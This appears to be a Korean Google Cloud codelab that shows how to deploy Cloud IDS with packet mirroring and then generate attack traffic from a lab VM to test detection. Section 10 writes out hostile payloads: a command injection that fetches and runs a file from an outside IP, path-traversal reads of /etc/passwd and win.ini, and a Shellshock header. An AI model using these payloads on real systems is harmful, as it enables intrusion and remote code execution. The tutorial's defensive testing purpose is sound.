1. 소개
이 실습에서는 침입, 멀웨어, 스파이웨어, 명령 및 제어 공격에 대한 위협 감지를 제공하는 차세대 고급 침입 감지 서비스인 Cloud IDS를 배포합니다. 다양한 공격을 시뮬레이션하고 Cloud 콘솔에서 위협 세부정보를 확인합니다.
학습할 내용
- Cloud IDS 엔드포인트를 만드는 방법
- gcloud 명령어로 가상 머신 2개를 만드는 방법
- 패킷 미러링 정책을 만드는 방법
- 가상 머신에서 공격 트래픽을 시뮬레이션하는 방법
- Cloud 콘솔 및 Cloud Logging에서 위협 세부정보를 확인하는 방법
필요한 항목
- 기본 Linux 명령어에 대한 지식
2. Cloud IDS 사용 사례
Cloud IDS는 고객이 PCI 11.4와 같은 고급 위협 감지 및 규정 준수 요구사항을 충족할 수 있도록 Google Cloud 네이티브 차세대 침입 감지 서비스 (IDS)를 제공합니다. 이 서비스는 Palo Alto Networks 위협 보호 기술을 기반으로 고급 침입 감지를 제공합니다. Google Cloud의 세계적 수준의 인프라와 Palo Alto Networks의 세계적 수준의 보안을 결합하여 고객에게 완전 관리형, 고성능, 최고 보안 효능 고급 위협 감지 서비스의 독보적인 조합을 제공합니다.
고객이 클라우드로 마이그레이션할 때 보안을 최우선으로 고려합니다. 클라우드에서 침입 감지 서비스 (IDS)와 같은 온프레미스에서 사용하는 것과 유사한 보안 제어를 사용하고 싶어 합니다. 서드 파티 보안 솔루션을 배포하고 인프라를 관리하거나 자체 서명을 가져오는 것과 비교할 때 배포 용이성, 고성능, 최적화된 비용을 위해 클라우드 네이티브 관리형 IDS 솔루션을 사용하는 것을 선호합니다. Google Cloud IDS는 엔드 투 엔드 자동 확장 관리형 IDS 서비스를 제공하여 고객이 위협을 분석하고 완화하는 데 시간을 할애할 수 있도록 지원하며, 인프라 또는 위협 서명을 관리하는 데 필요한 시간과 리소스를 확보할 수 있도록 지원합니다.
Cloud IDS는 대역 외로 배포되며 위협을 감지하고 알릴 수 있지만 위협을 차단할 수는 없습니다. Google Cloud 패킷 미러링을 활용하여 Palo Alto Network 위협 감지 엔진을 사용하여 분석되는 네트워크 트래픽의 복사본을 만듭니다.
3. Codelab 토폴로지

그림 1. 이 실습의 Cloud IDS 배포에 관한 대략적인 아키텍처 개요
4. 설정 및 요구사항
자습형 환경 설정
- Google Cloud Console에 로그인하여 새 프로젝트를 만들거나 기존 프로젝트를 재사용합니다. 아직 Gmail이나 Google Workspace 계정이 없는 경우 계정을 만들어야 합니다.



- 프로젝트 이름은 이 프로젝트 참가자의 표시 이름입니다. 이는 Google API에서 사용하지 않는 문자열이며 언제든지 업데이트할 수 있습니다.
- 프로젝트 ID는 모든 Google Cloud 프로젝트에서 고유해야 하며, 변경할 수 없습니다(설정된 후에는 변경할 수 없음). Cloud Console은 고유한 문자열을 자동으로 생성합니다. 일반적으로 신경 쓰지 않아도 됩니다. 대부분의 Codelab에서는 프로젝트 ID를 참조해야 하며(일반적으로
PROJECT_ID로 식별됨), 마음에 들지 않는 경우 임의로 다시 생성하거나 직접 지정해서 사용할 수 있는지 확인하세요. 프로젝트가 생성되면 프로젝트 ID가 '고정'됩니다. - 세 번째 값은 일부 API에서 사용하는 프로젝트 번호입니다. 이 세 가지 값에 대한 자세한 내용은 문서를 참조하세요.
- 다음으로 Cloud 리소스/API를 사용하려면 Cloud Console에서 결제를 사용 설정해야 합니다. 이 Codelab 실행에는 많은 비용이 들지 않습니다. 이 튜토리얼을 마친 후 비용이 결제되지 않도록 리소스를 종료하려면 Codelab의 끝에 있는 '삭제' 안내를 따르세요. Google Cloud 새 사용자에게는 미화 $300 상당의 무료 체험판 프로그램에 참여할 수 있는 자격이 부여됩니다.
Cloud Shell 시작
Google Cloud를 노트북에서 원격으로 실행할 수 있지만, 이 Codelab에서는 Cloud에서 실행되는 명령줄 환경인 Google Cloud Shell을 사용합니다.
GCP 콘솔에서 오른쪽 상단 툴바의 Cloud Shell 아이콘을 클릭합니다.

환경을 프로비저닝하고 연결하는 데 몇 분 정도 소요됩니다. 완료되면 다음과 같이 표시됩니다.

가상 머신에는 필요한 개발 도구가 모두 들어있습니다. 영구적인 5GB 홈 디렉토리를 제공하고 Google Cloud에서 실행되므로 네트워크 성능과 인증이 크게 개선됩니다. 이 실습의 모든 작업은 브라우저만으로 수행할 수 있습니다.
5. 시작하기 전에
API 사용 설정
Cloud Shell 내에 프로젝트 ID가 설정되어 있는지 확인합니다.
gcloud config list project gcloud config set project [YOUR-PROJECT-NAME] export PROJECT_ID=$(gcloud config get-value project | sed '2d')
필요한 모든 서비스 사용 설정
gcloud services enable compute.googleapis.com gcloud services enable ids.googleapis.com gcloud services enable logging.googleapis.com
6. VPC 네트워크 만들기
VPC 네트워크
Cloud Shell 사용
gcloud compute networks create cloud-ids \ --subnet-mode=custom
서브넷
Cloud Shell 사용
gcloud compute networks subnets create cloud-ids-useast1 \ --range=192.168.10.0/24 \ --network=cloud-ids \ --region=us-east1
비공개 서비스 액세스
Cloud Shell 사용
gcloud compute addresses create cloud-ids-ips \ --global \ --purpose=VPC_PEERING \ --addresses=10.10.10.0 \ --prefix-length=24 \ --description="Cloud IDS Range" \ --network=cloud-ids
Private Service Connection
Cloud Shell 사용
gcloud services vpc-peerings connect \ --service=servicenetworking.googleapis.com \ --ranges=cloud-ids-ips \ --network=cloud-ids \ --project=$PROJECT_ID
방화벽 규칙
IAP가 VM 인스턴스에 연결하도록 하려면 다음과 같은 방화벽 규칙을 만드세요.
- IAP를 사용하여 액세스할 수 있는 모든 VM 인스턴스에 적용됩니다.
- IP 범위 35.235.240.0/20에서의 인그레스 트래픽을 허용합니다. 이 범위에는 IAP가 TCP 전달을 위해 사용하는 모든 IP 주소가 포함됩니다.
Cloud Shell 사용
gcloud compute firewall-rules create allow-iap-proxy \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:22 \ --source-ranges=35.235.240.0/20
표준 HTTP 포트 (TCP 80)와 ICMP 프로토콜을 서버에 허용하려면 다음 단계를 따르세요.
- 네트워크 태그가 'server'인 리소스에 적용됩니다.
- 모든 소스의 인그레스를 허용합니다.
Cloud Shell 사용
gcloud compute firewall-rules create allow-http-icmp \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:80,icmp \ --source-ranges=0.0.0.0/0 \ --target-tags=server
Cloud NAT 인스턴스 만들기
Cloud Router
Cloud Shell 사용
gcloud compute routers create cr-cloud-ids-useast1 \ --region=us-east1 \ --network=cloud-ids
Cloud NAT
Cloud Shell 사용
gcloud compute routers nats create nat-cloud-ids-useast1 \ --router=cr-cloud-ids-useast1 \ --router-region=us-east1 \ --auto-allocate-nat-external-ips \ --nat-all-subnet-ip-ranges
7. Cloud IDS 엔드포인트 만들기
이 섹션에서는 심각도가 정보로 설정된 us-east1에 Cloud IDS 엔드포인트를 만듭니다. IDS 엔드포인트를 만드는 데 약 20분이 걸립니다.
IDS 엔드포인트
Cloud Shell 사용
gcloud ids endpoints create cloud-ids-east1 \ --network=cloud-ids \ --zone=us-east1-b \ --severity=INFORMATIONAL \ --async
Cloud IDS 엔드포인트가 시작되었는지 확인
gcloud ids endpoints list --project=$PROJECT_ID
출력 -
ID: cloud-ids-east1 LOCATION: us-east1-b SEVERITY: INFORMATIONAL STATE: CREATING NETWORK: cloud-ids TRAFFIC_LOGS:
8. 가상 머신 2개 만들기
이 섹션에서는 가상 머신 2개를 만듭니다. 첫 번째는 Cloud IDS에 미러링되는 웹 서버입니다. 두 번째 가상 머신은 공격 트래픽 소스가 됩니다.
가상 머신 1 (서버)
Cloud Shell 사용
gcloud compute instances create server \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.20 \ --metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \ --tags=server \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
가상 머신 2 (클라이언트)
Cloud Shell 사용
gcloud compute instances create attacker \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.10 \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
9. 서버 준비
이 작업에서는 서버를 검증하고 클라이언트에 대한 무해한 멀웨어 페이로드를 제공합니다.
Cloud Shell을 통해 VM에 SSH로 연결
gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap
웹 서비스가 실행 중인지 확인
sudo systemctl status nginx
출력 - 활성 및 실행 중인지 확인
● nginx.service - A high performance web server and a reverse proxy server
Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
Docs: man:nginx(8)
Main PID: 1347 (nginx)
Tasks: 3 (limit: 4665)
Memory: 4.5M
CGroup: /system.slice/nginx.service
├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
├─1348 nginx: worker process
└─1349 nginx: worker process
May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.
디렉터리를 웹 서비스로 변경
cd /var/www/html/
웹 서버에 무해한 멀웨어 파일 만들기
sudo touch eicar.file
콘텐츠 붙여넣기
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file
CloudShell로 돌아가기
exit
Cloud IDS 패킷 미러링 정책 만들기
IDS 엔드포인트 전달 규칙을 식별하고 IDS 엔드포인트 상태가 'READY'인지 확인합니다.
gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
출력 예 - 'endpointForwardingRule'에서 값을 복사합니다.
user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b createTime: '2021-07-01T21:03:56.099839751Z' endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca endpointIp: 172.16.30.43 name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1 network: projects/ids-project/global/networks/cloud-ids severity: INFORMATIONAL state: READY updateTime: '2021-07-01T21:21:32.744309107Z'
IDS 엔드포인트 전달 규칙을 변수에 저장합니다.
export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)") echo $FORWARDING_RULE
패킷 미러링 정책
Cloud Shell 사용
gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \ --region=us-east1 \ --collector-ilb=$FORWARDING_RULE \ --network=cloud-ids \ --mirrored-subnets=cloud-ids-useast1
패킷 미러링 정책이 생성되었는지 확인
Cloud Shell 사용
gcloud compute packet-mirrorings list
출력
user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list NAME REGION NETWORK ENABLE cloud-ids-packet-mirroring us-east1 cloud-ids TRUE
10. 공격 트래픽 시뮬레이션
공격자 가상 머신 (클라이언트)에 SSH로 연결
Cloud Shell 사용
gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap
다음 curl 요청을 실행하여 악성 트래픽을 시뮬레이션합니다.
curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical
VM을 종료하여 CloudShell로 돌아갑니다.
exit
11. Cloud IDS에서 감지한 위협 검토
Cloud IDS 대시보드로 이동
탐색 메뉴 > 네트워크 보안 > Cloud IDS

'위협' 탭으로 이동합니다.

보시다시피 Cloud IDS는 다양한 공격 트래픽 프로필을 캡처하고 각 위협에 대한 세부정보를 제공했습니다. 위협이 표시되지 않으면 '새로고침' 버튼을 클릭해야 할 수 있습니다. 이제 좀 더 자세히 살펴보고 위협 세부정보를 확인해 보겠습니다.
'Bash 원격 코드 실행 취약점' 위협을 찾아 오른쪽의 점 3개를 클릭하고 '위협 세부정보 보기'를 선택합니다.


이제 Cloud Logging에서 이 사고의 세부정보를 살펴보겠습니다. 왼쪽 화살표 를 클릭하여 위협 페이지로 돌아갑니다 .
오른쪽의 점 3개를 클릭하고 '위협 로그 보기'를 선택합니다.


Cloud Logging에도 동일한 세부정보가 제공됩니다. 이를 통해 로그를 Cloud Storage, Chronicle 또는 모든 SIEM/SOAR로 보낼 수 있습니다. 또한 알림을 기반으로 해결 조치를 취하는 커스텀 워크플로를 만들 수도 있습니다. 예를 들어 알림에 트리거되는 Cloud 함수를 만들고 방화벽 규칙을 만들거나 업데이트하여 IP 주소를 차단하거나, Cloud Armor 정책을 만들거나 업데이트할 수 있습니다.
12. 정리 단계
VM 인스턴스 종료 (모든 탭)
exit
단일 Cloud Shell 터미널에서 실습 구성요소 삭제
gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet gcloud compute instances delete server --zone=us-east1-b --quiet gcloud compute instances delete attacker --zone=us-east1-b --quiet gcloud compute firewall-rules delete allow-iap-proxy --quiet gcloud compute firewall-rules delete allow-http-icmp --quiet gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet gcloud compute addresses delete cloud-ids-ips --global --quiet gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet gcloud compute networks delete cloud-ids --quiet
13. 축하합니다.
축하합니다. Codelab을 완료했습니다.
학습한 내용
- Cloud IDS 사용 사례
- 네트워크 요구사항
- 지원되는 API
- Cloud IDS 엔드포인트가 생성됨
- VM 2개 배포
- 클라이언트에서 '공격' 트래픽을 생성했습니다.
- IDS에서 확인된 위협이 감지됨
- 위협 세부정보 및 로그 검토